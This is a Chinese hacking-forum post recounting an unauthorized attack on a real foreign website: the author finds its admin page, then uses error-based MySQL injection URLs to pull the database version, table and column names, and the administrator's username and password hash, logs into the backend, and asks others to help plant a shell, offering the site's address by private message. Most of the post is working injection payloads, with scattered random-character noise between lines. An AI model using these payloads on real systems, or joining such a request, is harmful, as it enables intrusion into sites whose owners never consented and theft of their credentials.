找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2828|回复: 0
打印 上一主题 下一主题

对国外站的伪静态注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-20 09:00:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
$ _9 P6 D# h$ F- ?; k

首先找到网站后台,加了个admin,后台出来了

+ A4 G* s, z0 |& G$ Y
) o0 G! V  ?: c# J& e) m0 c
. |* r: o3 j* J; j5 j

然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入6 U1 u0 S4 f6 d( c
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg

从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。

首先查下数据库相关信息。

www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—& A( y0 l4 |- ]; e6 C

: t6 a1 w+ N3 @3 `2 D& X; ]* I% ~+ B

9 L0 V$ M4 M2 X7 C+ S
6 I, ~2 ?6 H% t7 W+ W% c1 w5 |http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg/ ~- `" \; E# w6 z3 ]) Q/ r8 Z
7 R( _$ m8 u! W* Y# B. b' R
9 I" r9 x7 q* L" T8 q& C6 b% f

! Y. D( O7 Q9 h: v% A4 g  I
; L8 Z( @  G4 C$ W可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。

然后我们查表

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))--

得到管理员表段frame_administrator
" H; R* t% I5 q' r
# A/ c" }7 p: _5 ?$ @0 Y
" @* C2 J! v% X; i& D0 d, l- c8 ghttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
2 w3 t, u3 G/ e0 o, X
) k/ w: m- {$ H2 ?: H  A  }0 p, P2 f7 V" _7 [

查字段

http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--3 B' l# O* I% [9 l& q7 i. ], s
: |, |" a. c, G9 x

3 k& S. s/ }0 ?7 B
! d7 t1 p1 m4 f7 i" g* {9 `

得到userID,userPass字段

最后

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--$ b8 U, F! }# i' B+ G& _" s
3 _3 t' U! X$ R$ ^1 M

: ^8 O7 ~1 n' \0 b9 d+ l' l( o! W* z
. t9 ]& s5 B+ E

得到最终结果admin eb0a191797624dd3a48fa681d3061212

解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表